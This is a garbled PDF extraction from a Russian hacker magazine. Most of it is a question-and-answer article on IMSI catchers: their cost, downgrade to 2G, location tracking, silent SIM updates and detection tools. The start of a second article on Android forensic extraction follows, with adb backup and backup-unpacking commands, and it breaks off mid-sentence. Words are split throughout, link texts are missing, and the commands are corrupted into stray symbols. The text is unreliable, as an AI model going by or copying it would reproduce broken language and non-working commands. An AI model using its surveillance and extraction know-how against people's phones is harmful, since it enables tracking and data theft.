ребле ние).  Кро ме  того,  в  сетях  GSM  (2G)  толь ко  мобиль ник  дол жен  про‐ 
ходить  про цеду ру  аутен тифика ции  (от  сотовой  выш ки  это го  не  тре бует ся),
и  поэто му  его  лег ко  ввес ти  в  заб лужде ние,  в  том  чис ле  что бы  отклю чить
на  нем  шиф рование  дан ных.  С  дру гой  сто роны,  уни вер саль ная  сис тема
мобиль ной свя зи UMTS  (3G)  тре бует  двус торон ней аутен тифика ции;  одна ко
ее  мож но  обой ти,  исполь зуя  режим  сов мести мос ти  GSM,  при сутс тву ющий
в боль шинс тве сетей. Сети 2G по‐преж нему широко рас простра нены — опе‐ 
рато ры исполь зуют GSM в  качес тве резер вной сети в  тех мес тах,  где UMTS
недос тупна.  Более  глу бокие  тех ничес кие  под робнос ти  IMSI‐перех вата  дос‐ 
тупны  .  Еще  одно
содер жатель ное  опи сание,  став шее  нас толь ным  докумен том  сов ремен ных
кибер конт рраз ведчи ков, —  это  статья  «

», опуб ликован ная осенью 2014 года в Harvard Journal of Law &
Technology.

в  отче те  науч но‐иссле дова тель ско го  цен тра SBA Research

Ваш  сек ретный  скат,  боль ше  вов се
не сек ретный

КОГДА ПОЯВИЛИСЬ ПЕРВЫЕ IMSI-ПЕРЕХВАТЧИКИ?
Пер вые  IMSI‐перех ватчи ки  появи лись  еще  в  1993  году  и  были  боль шими,
тяжелы ми  и  дороги ми.  «Да  здравс тву ют  оте чес твен ные  мик росхе мы  —
с  четыр надцатью  нож ками…  и  четырь мя  руч ками».  Изго тови телей  таких
перех ватчи ков  мож но  было  перес читать  по  паль цам,  а  высокая  сто имость
огра ничи вала  круг  поль зовате лей  —  исклю читель но  государс твен ными
учрежде ниями.  Одна ко  сей час  они  ста новят ся  все  более  дешевы ми  и  все
менее гро моз дки ми. Нап ример, Крис Пей дж пос тро ил IMSI‐перех ватчик все‐ 
го  за  1500  дол ларов  и    на  кон ферен ции  DEF  CON
еще в 2010 году. Его вер сия сос тоит из прог рамми руемо го радио и бес плат‐ 
ного прог рам мно го обес печения с откры тым исходным кодом: 

. Вся необ ходимая раз работ чику информа ция находит ся
в откры том дос тупе. А в середи не 2016 года хакер Evilsocket пред ложил свою
вер сию   все го за 600 дол ларов.

пред ста вил  его

GNU Radio,

OpenBTS, Asterisk

пор татив ного IMSI‐перех ватчи ка

КАК IMSI-ПЕРЕХВАТЧИКИ МОНОПОЛИЗИРУЮТ ДОСТУП К
МОБИЛЬНИКУ?

Об маныва ют твой мобиль ник, зас тавляя его думать, что это единс твен ное
дос тупное соеди нение.

•

Нас тра ивают ся таким обра зом, что без пос редни чес тва IMSI‐перех ватчи‐ 
ка ты не можешь сде лать вызов.

•

Под робнее о монопо лиза ции читай в пуб ликации науч но‐иссле дова тель‐ 
ско го цен тра SBA Research: 

.

•
IMSI‐Catch Me If You Can: IMSI‐Catcher‐Catch‐

ers

Ка кие перех ватчи ки есть в про даже?

АССОРТИМЕНТ ПРОДАВАЕМЫХ ПЕРЕХВАТЧИКОВ ВЫЗЫВАЕТ
УВАЖЕНИЕ. А ЧТО НАСЧЕТ КУСТАРНЫХ ПОДЕЛОК?

Се год ня (в 2017 году) пред при имчи вые тех ничес кие спе циалис ты изго тав‐ 
лива ют  IMSI‐перех ватчи ки,  поль зуясь  дос тупны ми  в  откры той  про даже
высоко тех нологич ными  коробоч ными  ком понен тами  и  мощ ной  ради оан‐ 
тенной,  и  зат рачива ют  при  этом  не  боль ше  600  дол ларов  (см. 

  хакера  Evilsocket).  Это  что  каса ется  ста биль ных  IMSI‐
перех ватчи ков.  Но  есть  и  экспе римен таль ные,  более  дешевые,  которые
работа ют нес табиль но. Нап ример, в 2013 году на кон ферен ции Black Hat
была пред став лена вер сия  , общая сто‐ 
имость  аппа рат ных  ком понен тов  которо го  сос тавила  250  дол ларов.
Сегод ня подоб ная реали зация обош лась бы еще дешев ле.

•

вер сию
IMSI‐перех ватчи ка

нес табиль ного IMSI‐перех ватчи ка

Ес ли  вдо бавок  учесть,  что  сов ремен ная  запад ная  высоко тех нологич ная
воен ная  тех ника  име ет  откры тую  архи тек туру  аппа рат ного  обес печения
и  откры тый  код  прог рам мно го  обес печения  (это  сегод ня  обя затель ное
усло вие, что бы обес печить сов мести мость раз рабаты ваемых для воен ных
нужд  прог рам мно‐аппа рат ных  сис тем),  —  у  раз работ чиков,  заин тересо‐ 
ван ных  в  изго тов лении  IMSI‐перех ватчи ков,  есть  все  козыри  для  это го.
Об этой сов ремен ной тен денции воен ного хай‐тека мож но почитать в жур‐ 
нале  Leading  Edge  (см.  статью  « »,  опуб‐ 
ликован ную в фев раль ском выпус ке жур нала за 2013 год). Не говоря уже
о  том,  что  недав но  Минис терс тво  обо роны  США  вырази ло  свою  готов‐ 
ность зап латить 25 мил лионов дол ларов под рядчи ку, который раз работа ет
эффектив ную  сис тему  для  ради оиден тифика ции  (см. 
еже месяч ного  жур нала  Military  Aerospace,  2017).  Одно  из  основных  тре‐ 
бова ний,  предъ явля емых  к  этой  сис теме, —  дол жны  быть  откры тыми  ее
архи тек тура и ком понен ты, из которых она будет сос тоять. Таким обра зом,
откры тость  архи тек туры —  это  сегод ня  обя затель ное  усло вие  сов мести‐ 
мос ти  раз рабаты ваемых  для  воен ных  нужд  прог рам мно‐аппа рат ных  сис‐ 
тем.

•

Пре иму щес тва  SoS‐интегра ции

ап рель ский  выпуск

По это му  изго тови телям  IMSI‐перех ватчи ков  даже  боль шой  тех ничес кой
ква лифи каци ей обла дать не нуж но — нуж но толь ко уметь подоб рать ком‐ 
бинацию уже сущес тву ющих решений и помес тить их в одну короб ку.

•

Кро ме того, сов ремен ная — дешеве ющая непомер ными тем пами — мик‐ 
роэлек тро ника  поз воля ет  вмес тить  свою  кус тарную  подел ку  не  толь ко
в  одну  короб ку,  но  даже  (!)  в  один  чип  (см.  )
и  даже  более  того —  нас тро ить  внут ричипо вую  бес про вод ную  сеть  (см.
опи сание  кон цепции NoC по  той же ссыл ке),  которая при ходит на сме ну
тра дици онным шинам  переда чи  дан ных.  Что  уж  говорить  об  IMSI‐перех‐ 
ватчи ках,  ког да в откры том дос тупе сегод ня мож но най ти даже тех ничес‐ 
кие под робнос ти об   и   ком понен тах супер совре‐ 
мен ного аме рикан ско го истре бите ля F‐35.

•

опи сание  кон цепции  SoC

ап парат ных прог рам мных

МОГУ ЛИ Я СТАТЬ ЖЕРТВОЙ «СЛУЧАЙНОГО ПЕРЕХВАТА»?
Впол не воз можно. Ими тируя сотовую выш ку, IMSI‐перех ватчи ки прос лушива‐ 
ют  весь  локаль ный  тра фик —  куда  в  чис ле  про чего  попада ют  и  раз говоры
невин ных  про хожих  (читай  « »).
И  это  любимый  аргу мент  «адво катов  неп рикос новен ности  час тной  жиз ни»,
выс тупа ющих  про тив  исполь зования  IMSI‐перех ватчи ков  силовы ми  струк‐ 
турами, которые при меня ют это высоко тех нологич ное обо рудо вание для выс‐ 
лежива ния прес тупни ков.

от кро вения  стар шей  сес тры  Боль шого  Бра та

КАК IMSI-ПЕРЕХВАТЧИК МОЖЕТ ОТСЛЕЖИВАТЬ МОИ
ПЕРЕМЕЩЕНИЯ?

Ча ще все го IMSI‐перех ватчи ки, исполь зуемые мес тны ми силовы ми струк‐ 
турами, при меня ются для трас сиров ки.

•

Зная  IMSI  целево го  мобиль ника,  опе ратор  может  зап рограм мировать
IMSI‐перех ватчик, что бы он свя зывал ся с целевым мобиль ником, ког да тот
находит ся в пре делах досяга емос ти.

•

Пос ле  под клю чения  опе ратор  исполь зует  про цесс  кар тогра фиро вания
ради очас тот, что бы выяс нить нап равле ние цели.

•

МОГУТ ЛИ ОНИ СЛУШАТЬ МОИ ЗВОНКИ?
Это зависит от исполь зуемо го IMSI‐перех ватчи ка. Перех ватчи ки с базовой
фун кци ональ ностью  прос то  фик сиру ют:  «в  таком‐то  мес те  находит ся
такой‐то мобиль ник».

•

Для  прос лушива ния  раз говоров  IMSI‐перех ватчи ку  тре бует ся  допол‐ 
нитель ный набор фун кций, которые про изво дите ли встра ивают за допол‐ 
нитель ную пла ту.

•

2G‐вызовы  прос лушива ются  лег ко.  IMSI‐перех ватчи ки  для  них  дос тупны
уже более десяти лет.

•

Сто имость  IMSI‐перех ватчи ка  зависит  от  количес тва  каналов,  рабоче го
диапа зона, типа шиф рования, ско рос ти кодиро вания/декоди рова ния сиг‐ 
нала и от того, какие ради оин терфей сы дол жны быть охва чены.

•

МОГУТ ЛИ ОНИ УСТАНАВЛИВАТЬ ПРОГРАММНОЕ ОБЕСПЕЧЕНИЕ
НА МОЕМ МОБИЛЬНИКЕ?

IMSI‐перех ватчик  собира ет  IMSI  и  IMEI  с  тво его  устрой ства.  Таким обра‐ 
зом, его опе ратор зна ет, какую модель мобиль ника ты исполь зуешь, а так‐ 
же  иног да  зна ет,  где  ты  его  купил. Зная  номер модели,  ему  лег че  прод‐ 
вигать  обновле ние  про шив ки  —  спе циаль но  раз работан ное  для  это го
мобиль ника.

•

Кро ме  того,  твоя SIM‐кар та  уже сама по себе  компь ютер. Она спо соб на
выпол нять  прос тей шие  прог раммы,  даже  не  вза имо дей ствуя  с  тво им
мобиль ником и при этом даже не зная, какая у тво его мобиль ника модель
и какая на нем опе раци онная сис тема.

•

Со товые опе рато ры могут обновлять прог рам мное обес печение SIM‐кар‐ 
ты  уда лен но,  и  более  того  —  «в  тихом  режиме».  Соот ветс твен но,  если
IMSI‐перех ватчик прит воря ется сотовым опе рато ром, то же самое может
делать  и  он.  Компь ютер  SIM‐кар ты  уме ет  сле дующее:  при нимать
и  переда вать  дан ные,  перехо дить  по  URL‐адре сам,  отправ лять  СМС,
отве чать на вызовы и при нимать их, под клю чать и исполь зовать информа‐ 
цион ные  служ бы,  получать  и  обра баты вать  такие  события,  как  «соеди‐ 
нение  уста нов лено»,  «соеди нение  прер вано»  и  подоб ные,  запус кать  AT‐
коман ды мобиль ника.

•

Компь ютер SIM‐кар ты может делать все это «в тихом режиме» — так, что
телефон ни еди ного приз нака жиз ни подавать не будет. Под робные све‐ 
дения о лич ной жиз ни сво ей SIM‐кар ты ты можешь почер пнуть 

  Эри ка  Бат лера,  показан ной  на  кон ферен ции  DEF  CON  21
(в 2013 году).

•

из пре зен‐ 
тации

Тех ничес кие харак терис тики компь юте ра тво ей SIM‐кар ты

ВСЕ МЫ ЗНАЕМ ОБ ОПАСНОСТИ ОТКРЫТЫХ (И НЕ ТОЛЬКО)
ТОЧЕК WI-FI. МОГУ ЛИ Я СТАТЬ ЖЕРТВОЙ ПЕРЕХВАТА, ЕСЛИ БУДУ
ВЕЗДЕ СИДЕТЬ СТРОГО ЧЕРЕЗ LTE?

Во‐пер вых, даже если твой мобиль ник нас тро ен на LTE и показы вает, что
работа ет  в  этом  режиме,  —  еще  далеко  не  факт,  что  так  оно  и  есть.
При  уме лой  нас трой ке  IMSI‐перех ватчи ка  твой  мобиль ник  будет  показы‐ 
вать обыч ное сотовое соеди нение — 3G или 4G, а вмес те с тем ему при‐ 
ходит ся вер нуть ся к более сла бому шиф рованию 2G.

•

Не кото рые мобиль ники даже в режиме LTE выпол няют коман ды без пред‐ 
варитель ной  аутен тифика ции,  хотя  стан дарт  LTE  к  это му  обя зыва ет  (см.
упо минав ший ся в начале статьи отчет SBA Research).

•

Кро ме  того,  пос коль ку  LTE‐интерфейс  раз рабаты вал ся  не  с  нуля,  а  как
модер низация UMTS‐интерфей са (который, в свою оче редь, пред став ляет
собой  модер низиро ван ный GSM‐интерфейс),  то  его  струк тура  не  так  уж
и  безуп речна.  Кро ме  того,  нес мотря  на  широкое  рас простра нение
сетей  3G  и  4G,  сети  2G  по‐преж нему  обес печива ют  резер вный  дос туп,
если 3G и 4G ста новят ся недос тупны ми.

•

Ты,  конеч но,  можешь  нас тро ить  свой  мобиль ник,  что бы  он  под клю чал ся
толь ко  к  4G‐сети,  но  эта  сеть дос тупна далеко не  вез де,  и  поэто му  зона
пок рытия для тво его мобиль ника сущес твен но сузит ся.

•

А ЕСЛИ Я КРУТОЙ БАНКИР (ДА-ДА, МЫ, КРУТЫЕ БАНКИРЫ,
ОБОЖАЕМ ЖУРНАЛ «ХАКЕР») И МЕНЯ МОГУТ ОЧЕНЬ-ОЧЕНЬ
ЗАХОТЕТЬ ПОСНИФАТЬ?

Уни вер саль ная  сис тема  мобиль ной  свя зи  (UMTS,  3G)  и  стан дарт  «дол‐ 
госроч ного  раз вития  сотовой  свя зи»  (LTE,  4G)  тре буют  вза имной  двус‐ 
торон ней аутен тифика ции, одна ко даже они не защище ны от  IMSI‐перех‐ 
ватчи ков. Хотя, конеч но же, устрой ства для их перех вата сто ят зна читель но
дороже. Сре ди про чих на эту роль пре тен дует   про изводс‐ 
тва аме рикан ской ком пании Meganet Corporation.

•

VME Dominator

На кон ферен ции DEF CON 22 (в 2014 году) хакер   про вел
показа тель ный  взлом  самого  защищен ного  в  мире  смар тфо на —  Black‐
phone. На это ему пот ребова лось все го лишь пять минут (  его
выс тупле ния).

• Джас тин Кейс

см. слай ды

Кро ме того, сущес тву ет сис тема перех вата LTE‐тра фика, которая «не ищет
обходных путей», а име ет дело с пол ноцен ным LTE‐соеди нени ем. Эту сис‐ 
тему в 2014  году   Тоби ас Энгель на еже год ном кон грес се  IT‐
клу ба «Хаос», про шед шем под заголов ком «Новый рас свет».

•

пред ста вил

На конец, если «очень‐очень силь ное желание пос нифать» будет под креп‐ 
лено  бюд жетом  в  100  тысяч  дол ларов,  то  ты  точ но  защитить ся  не  смо‐ 
жешь.  Потому  что  все  самые  передо вые  тех нологи чес кие  ком понен ты
дос тупны  в  откры той  про даже.  Минис терс тво  обо роны  США  даже  сти‐ 
мули рует  такую  откры тость  —  что бы  про изво дите ли  тех нологий  кон‐ 
куриро вали меж ду собой за высоту качес тва.

•

КАКИЕ ДАННЫЕ Я МОГУ ПОТЕРЯТЬ, ЕСЛИ У МЕНЯ ВЕЗДЕ HTTPS И
ДВУХФАКТОРНАЯ АВТОРИЗАЦИЯ?

HTTPS  не  панацея.  От  спец служб  точ но  не  спря чешь ся.  Им  дос таточ но
зап росить  у  пос тавщи ка  услуг  SSL‐клю чи,  и  они  смо гут  получить  дос туп
ко всем тво им дан ным, переда ваемым по сети. Поэто му если ты не отно‐ 
сишь ся  к  катего рии  «Неуло вимых  Джо»,  то  от  гаран тий  неп рикос новен‐ 
ности я бы воз держал ся.

•

14  апре ля  2017  года WikiLeaks  опуб ликова ла 
  —  при моч ки  для  несан кци они рован ного  дос тупа  к  зашиф рован‐ 

ному  HTTPS‐тра фику,  которы ми  до  недав него  вре мени  поль зовались
толь ко сот рудни ки ЦРУ. Так что сегод ня эти при моч ки дос тупны широкой
общес твен ности.

• шесть  докумен тов  про екта
«Улей»

Учи тывая  мас штаб  амби ций  меж дународ ных  спец служб  (см.  пуб ликацию
« »), а так же то, что с подачи Сно уде на и   сегод‐ 
ня хай‐тек‐сок ровищ ница ЦРУ откры та нас тежь, есть осно вания ожи дать,
что тво ими дан ными может заин тересо вать ся кто угод но: пра витель ствен‐ 
ные  спец служ бы,  ком мерчес кие  кор порации,  хулига нис тая  молодежь.
Кро ме  того,  пос коль ку    пос тепен но
сни жает ся  (в  2015‐м  план ка  сред него  воз раста  спус тилась  до  17  лет),
мож но ожи дать, что за взло мами все чаще будет сто ять имен но эта хулига‐ 
нис тая молодежь — неп ред ска зуемая и отча янная.

•
Прав да Сно уде на WikiLeaks

сред ний  воз раст  кибер прес тупни ка

КАК ЗАЩИЩАЮТСЯ ОТ ПЕРЕХВАТА?
Ста новят ся  все  дос тупнее  IMSI‐перех ватчи ки  —  появ ляет ся  спрос  и  на
защиту  от  них. Сущес тву ют  как  исклю читель но  прог рам мные,  так  и  прог‐
рам мно‐аппа рат ные решения.

•

Из прог рам мных решений на рын ке мно го Android‐при ложе ний, нап ример
  (вза имо дей ству ет  с  ради опод систе мой  мобиль ника,  пыта ясь

отсле дить  там  ано малии),    (име ет  схо жую  с  AIMSICD 
, но опти мизи рова но для фем тосот Verizon). Так же мож но

отме тить  ,  ,  . Боль шинс тво
из них некачес твен ные. Кро ме того, ряд при ложе ний, дос тупных на рын ке,
при водят  к  мно жес тву  лож ных  сра баты ваний  из‐за  недос таточ ной  тех‐ 
ничес кой ква лифи кации их раз работ чиков.

•
AIMSICD

FemtoCatcher фун- 

кци ональ ность

GSM Spy Finder SnoopSnitch Net Change Detector

Для  того  что бы  работать  эффектив но,  при ложе ние  дол жно  иметь  дос туп
к базово му час тотно му диапа зону мобиль ника и сте ку ради освя зи, а так же
иметь пер воклас сную эвристи ку — что бы уметь отли чать IMSI‐перех ватчик
от пло хо нас тро енной сотовой выш ки.

•

Сре ди  прог рам мно‐аппа рат ных  решений  мож но  отме тить  четыре  при‐ 
бора: 1.  . Про дает ся по цене 3500 дол ларов за шту ку.
На  2014  год  в  США  было  про дано  более  30  тысяч  крип тофонов  и  еще
более  300  тысяч  было  про дано  в  дру гих  час тях  мира.  2.  .
При бор  с  трех компо нен тным  ана лиза тором  (см.  опи сание  чуть  ниже).  3.

.  При бор  со  встро енным  4G‐модулем,  анон сирован ный  на  кон‐ 
ферен ции RSA в 2015 году; его цена сос тавля ет 2675 дол ларов. 4. 

.  При бор,  который  отоб ража ет  спи сок  работа ющих  поб лизос ти
бес про вод ных  устрой ств,  вза имо дей ству ющих  с  ради оэфи ром  (в  диапа‐ 
зоне от 100 кГц до 6 ГГц).

•
Cryptophone CP500

ESD Overwatch

Pwn  Pro
Bastille

Networks

МОЖЕТ ЛИ ESD OVERWATCH ОБЕСПЕЧИТЬ СТОПРОЦЕНТНУЮ
ЗАЩИТУ?

ESD Overwatch  в  сво ей  базовой  фун кци ональ нос ти  осна щен  трех компо‐ 
нен тным ана лиза тором, который отсле жива ет сле дующие три «зво ноч ка».
Пер вый  зво ночек  —  это  ког да  телефон  перехо дит  от  более  защищен‐ 
ной 3G и 4G к менее защищен ной 2G. Вто рой зво ночек — ког да телефон‐ 
ное соеди нение отсе кает шиф рование, что дела ет перех ват нам ного про‐ 
ще. Тре тий — ког да сотовая выш ка не пре дос тавля ет спи сок дру гих дос‐ 
тупных поб лизос ти сотовых вышек (такой спи сок поз воля ет телефо ну лег‐ 
ко перек лючать ся меж ду сосед ними выш ками); IMSI‐перех ватчи ки обыч но
не  оставля ют  аль тер натив,  пос коль ку  стре мят ся  получить  монополь ный
дос туп к мобиль нику.

•

Од нако  сле дует  понимать,  что  даже  такой  трех компо нен тный  под ход
не  обес печива ет  стоп роцен тной  защиты.  Кста ти,  есть  бес плат ное  при‐ 
ложе ние  (дос тупное  в  Google  Play),  которое  пре тен дует  на  ту  же  самую
роль,  что  и  Cryptophone  с  ESD  Overwatch,  —  .  Кро ме  того,  хоть
и ред ко, но быва ют слу чаи, ког да даже при наличии всех трех «зво ноч ков»
фак тичес кого  IMSI‐перех вата нет. И естес твен но,  что раз работ чики  IMSI‐
перех ватчи ков,  услы шав об  этой  трех компо нен тной  сис теме  конт рпе рех‐ 
вата, не замед лят с ответным шагом в этой «гон ке воору жений».

•

Darshak

Стоп роцен тную  защиту  себе  не  могут  обес печить  даже  воен ные,  хотя
поль зуют ся самой передо вой (на 2016 год) прог рам мно‐аппа рат ной сис‐ 
темой  ,  раз работан ной  PacStar.  IQ‐Software  —  это  пер спек‐ 
тивная  бес про вод ная  так тичес кая  сис тема  обме на  сек ретной  информа‐ 
цией  со  смар тфо нами  и  ноут буками  пос редс твом Wi‐Fi  и  сотовых  ради‐ 
останций. Наде юсь, для тебя не сек рет, что в сов ремен ных воен ных опе‐ 
раци ях — при чем не толь ко в качес тве средс тва ком муника ции — исполь‐ 
зует ся  тот  же  самый  смар тфон,  что  лежит  у  тебя  в  кар мане  (под робнее
об этом в статье « »).

•

IQ‐Software

Бе зопас ные смар тфо ны готовят ся к раз верты ванию
Так,  воен но‐воз душные силы США летом 2013  года опуб ликова ли анонс
« ». «Тех нология боевых сетевых
ком муника ций»  CONECT  поможет  стра теги чес кому  свер хдаль нему  бом‐ 
барди ров щику  B‐52  влить ся  в  сов ремен ную  киберин фраструк туру,  пре‐ 
обра зовав  этот  ана лого вый  самолет  в  циф ровую  плат форму,  которой
мож но будет отда вать коман ды с обыч ного смар тфо на.

•
B‐52 CONECT: Переход в циф ровую эпо ху

Имен но для подоб ных целей воен ные очень заин‐ 
тересо ваны  в  безопас ных  ком муника циях,
но абсо лют ной защиты себе обес печить не могут
даже они.

СМОГУТ ЛИ IMSI-ПЕРЕХВАТЧИКИ ПРОДОЛЖАТЬ ПРОСЛУШИВАТЬ
МЕНЯ, ЕСЛИ Я ПОМЕНЯЮ SIM-КАРТУ?

IMSI‐перех ватчик  зах ватыва ет  твой  IMSI  с  тво ей  SIM‐кар ты  и  IMEI
с мобиль ника. Затем оба эти парамет ра сох раня ются в цен тра лизо ван ной
базе  дан ных.  Таким  обра зом,  сме на  SIM‐карт  и  сме на  мобиль ников
не помогут.

•

Ко неч но, если ты возь мешь новый мобиль ник и новую SIM‐кар ту, то в цен‐ 
тра лизо ван ной  базе  дан ных  IMSI‐перех ватчи ка  записи  о  них  не  будет.
Одна ко людям, с которы ми ты свя зыва ешь ся, тоже надо будет при обрести
новые  мобиль ники  и  новые  SIM‐кар ты.  Ина че  бла года ря  перек рес тным
ссыл кам  цен тра лизо ван ной  базы  дан ных  ты  опять  ока жешь ся  в  спис ке
IMSI‐перех ватчи ка.

•

Кро ме  того,  IMSI‐перех ватчик может пелен говать мобиль ные устрой ства,
находя щиеся в опре делен ной геоло кации.

•

А ЕСЛИ Я НА CDMA, Я БУДУ ЗАЩИЩЕН ОТ IMSI-ПЕРЕХВАТЧИКА?
Нет,  потому  что  те  же  самые  про изво дите ли,  которые  изго тав лива ют  GSM
IMSI‐перех ватчи ки,  дела ют  и  CDMA‐вер сии;  а  некото рые  даже  выпус кают
вер сии для  «Ири диума»  (все мир ный опе ратор спут никовой свя зи)  и  Thuraya
(реги ональ ный  опе ратор  спут никовой  телефон ной  свя зи,  который  работа ет
в  Евро пе,  Сред ней  Азии,  Авс тра лии  и  Афри ке).  Сре ди  них  изра иль ская
лабора тория   и таиланд ская  .Ability Jackson Electronics

ЗАЧЕМ ПЛОХИЕ ПАРНИ ПОЛЬЗУЮТСЯ IMSI-ПЕРЕХВАТЧИКАМИ?
Что бы тер роризи ровать дру гих угро жающи ми тек сто выми сооб щени ями.•
Сле дить за про веде нием пра воох ранитель ных рас сле дова ний.•
Для пра витель ствен ного, ком мерчес кого и бытово го шпи она жа.•
Ук расть переда ваемую по мобиль нику лич ную информа цию.•
Ли шить  поль зовате ля  мобиль ника  воз можнос ти  свя зывать ся  с  ава рий‐ 
ными служ бами.

•

НАСКОЛЬКО СЕГОДНЯ РАСПРОСТРАНЕНЫ IMSI-ПЕРЕХВАТЧИКИ?
Аарон  Тёр нер,  руково дитель  науч но‐иссле дова тель ско го  цен тра

, спе циали зиру юще гося на безопас ности мобиль ных  устрой ств,
про вел  свое  незави симое  рас сле дова ние.  За  два  дня  езды  с  крип‐ 
тофоном  (который  отсле жива ет  подоз ритель ную  мобиль ную  активность)
он нат кнул ся на 18 IMSI‐перех ватчи ков, в основном вбли зи спе циали зиро‐ 
ван ных государс твен ных учрежде ний и воен ных баз.

•
IntegriCell

При этом Тёр нер не берет ся утвер ждать, чьи это  IMSI‐перех ватчи ки: сле‐ 
дят  ли  это  спец служ бы,  или же  за  спец служ бами  кто‐то  сле дит. Об  этом
еще в 2014 году сооб щила  .

•

The Washington Post
В  том  же  году  на  новос тном  сай те  Popular  Science  были  опуб ликова ны
резуль таты    —  в  ходе  которо го
за месяц путешес твия по США было обна руже но еще 17 IMSI‐перех ватчи‐ 
ков.

•
дру гого  нашумев шего  рас сле дова ния

К тому же, если вспом нить, что уже толь ко в 2014 году по все му миру было
про дано  более  300  тысяч  крип тофонов,  которые  реша ют  про тиво полож‐ 
ную  IMSI‐перех ватчи кам  задачу,  мож но  тоже  сос тавить  некото рое  пред‐ 
став ление  о  рас простра нен ности  пос ледних.  Ведь  разум но  будет  пред‐ 
положить,  что  зна читель ная  часть  этих  покупа телей  поль зует ся  так же
и IMSI‐перех ватчи ками. Так что твои шан сы стол кнуть ся с IMSI‐перех ватчи‐ 
ком впол не реаль ны.

•

А ВООБЩЕ НАСКОЛЬКО ПЕРСПЕКТИВНА ТЕХНИКА IMSI-
ПЕРЕХВАТА? МОЖЕТ БЫТЬ, ЕСТЬ КАКИЕ-ТО БОЛЕЕ
ДЕЙСТВЕННЫЕ АЛЬТЕРНАТИВЫ?
Ну раз ты спро сил… Есть еще Wi‐Fi‐ради окар тогра фиро вание, которое объ‐ 
еди няет  ста рую  ана лого вую  шко лу  с  сов ремен ной  циф ровой  мощью.  Этот
под ход работа ет на более низ ком уров не и потому более гиб кий. Ведь с его
помощью  мож но  сле дить  даже  за  теми  людь ми,  которые  не  носят  с  собой
никакую тех нику. Взять, нап ример,  , который рас позна ёт челове чес кие
жес ты,  , который видит дви жущи еся объ екты за сте ной,  , который
отсле жива ет  трех мерные  переме щения  челове ка,  и,  наконец,  ,
который  спо собен  читать  по  губам.  Но  пос коль ку  это  уже  прин ципи аль но
иные тех нологии — под робнее о них в дру гой раз.

WiSee
WiVe WiTrack
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ИЗВЛЕКАЕМ ДАННЫЕ ИЗ ANDROID‐
УСТРОЙСТВ И ПРОВОДИМ ИХ АНАЛИЗ

ơлеƶ Ƥкулкин
skulkin@inbox.ru

őŖŚŝś

При вет, %username%! В    я  рас ска зывал
тебе  о  мобиль ной  кри мина лис тике  яблочных  устрой ств.
С  тех  пор прош ло  какое‐то  вре мя,  и, может,  ты даже  успел
замучить свой iPhone до полус мерти, а то и вов се пол ностью
раз рядил, помес тил в клет ку Фарадея и сунул в самый даль‐ 
ний  и  тем ный  угол,  заменив  его  на…  Android‐смар тфон.
Решил, что теперь ты в безопас ности и эти дотош ные циф‐ 
ровые кри мина лис ты не доберут ся до тво их малень ких сек‐ 
ретов? Не  тут‐то было! Сегод ня  я  рас ска жу,  как форен зики
извле кают твои дан ные из Android‐девай сов.

пре дыду щей статье

ПРЕДИСЛОВИЕ
Ес ли  iOS‐девай сы выпус кает лишь кор порация Apple,  то мобиль ные устрой‐ 
ства  на  Android  —  прос то  колос саль ное  чис ло  про изво дите лей.  Поэто му
и  спо собов  извле чения  дан ных  нес коль ко.  Если  ты  читал  мою  статью
про  мобиль ную  кри мина лис тику  Apple‐девай сов  (ссыл ка  выше),  то  зна ешь,
что  эти  самые  спо собы  делят ся  на  три  груп пы:  извле чение  на  логичес ком
уров не, извле чение на уров не фай ловой сис темы и извле чение на физичес‐ 
ком уров не. И сей час мы под робно раз берем каж дый из спо собов.

Статья  адре сова на  спе циалис там  по  безопас‐ 
ности  и  тем,  кто  собира ется  ими  стать.  Вся
информа ция  пре дос тавле на  исклю читель но
в озна коми тель ных целях. Ни редак ция, ни автор
не  несут  ответс твен ности  за  любой  воз можный
вред, при чинен ный матери ала ми дан ной статьи.

ИЗВЛЕЧЕНИЕ ДАННЫХ НА ЛОГИЧЕСКОМ УРОВНЕ
Ра зуме ется,  наибо лее  прос той  спо соб  логичес кого  извле чения  —  прес‐ 
ловутое резер вное копиро вание пос редс твом Android Debug Bridge. Сде лать
это  доволь но  лег ко  —  дос таточ но  акти виро вать  в  нас трой ках  устрой ства
отладку по USB, под клю чить его к компь юте ру и вос поль зовать ся сле дующей
коман дой:

adb backup ‐� ɑFśɎ�orensicɏbackupŜabɑ ‐apk ‐shared ‐all

Пер вый ключ,  , говорит ADB бэкапить APK‐при ложе ния; вто рой,  ,
поз воля ет вклю чить в бэкап дан ные при ложе ний и содер жимое кар ты памяти,
если пос ледняя име ется; тре тий,  , добавит в резер вную копию все при‐ 
ложе ния, в том чис ле сис темные, что может при годить ся при рас сле дова нии
инци ден тов,  свя зан ных с мал варью. И все бы ничего,  вот  толь ко сов ремен‐ 
ные устрой ства поз воля ют сох ранять в такую резер вную копию далеко не все.
Нап ример, в него не вхо дит ни спи сок кон тактов, ни SMS‐сооб щения, раз ве
что их фраг менты из logs.db.

‐apk ‐shared

‐all

Что бы  побороть  такую  нес пра вед ливость,  раз работ чики  кри мина лис‐ 
тичес кого  прог рам мно го  обес печения,  нап ример Oxygen Software  и Magnet
Forensics, вклю чают в свои инс тру мен ты так называ емые при ложе ния‐аген ты,
которые  уста нав лива ются  на  целевое  устрой ство  и  поз воля ют  извлечь  вож‐ 
делен ные  базы  дан ных.  Нап ример,  mmssms.db,  как  нес ложно  догадать ся,
содер жит  све дения  о  передан ных  и  получен ных  SMS  и  MMS.  Как  ты  уже
понял, зачас тую форен зик‐соф том для логичес кого извле чения исполь зует ся
все  тот  же  ADB,  а  получен ный  бэкап  рас паковы вает ся  и  обо гаща ется  дан‐ 
ными, извле чен ными при ложе нием‐аген том. Кста ти, если ты хочешь сам рас‐ 
паковать  такой бэкап,  то бла года ря опен сор сно му инс тру мен ту 
ты можешь с лег костью это сде лать:

adbextractor

�a�a ‐�ar abeŜ�ar unpack backupŜab backupŜtar

В резуль тате получишь tar‐архив с содер жимым тво его ADB‐бэкапа.

ИЗВЛЕЧЕНИЕ ДАННЫХ НА УРОВНЕ ФАЙЛОВОЙ СИСТЕМЫ
Так как в пос леднее вре мя, осо бен но с выходом Android Nougat, смар тфо ны
с шиф ровани ем перес тали быть ред костью, этот спо соб извле чения дан ных
наибо лее при емлем.  Как  ты  навер няка  зна ешь,  прос то  так  получить  пол ный
дос туп  к  фай ловой  сис теме  поль зователь ско го  раз дела  нель зя,  для  это го
нуж ны  пра ва  супер поль зовате ля.  На  этом  под робно  оста нав ливать ся  я
не  буду.  Уве рен,  в  тво ем  арсе нале  най дет ся  с  десяток  инс тру мен тов,  поз‐ 
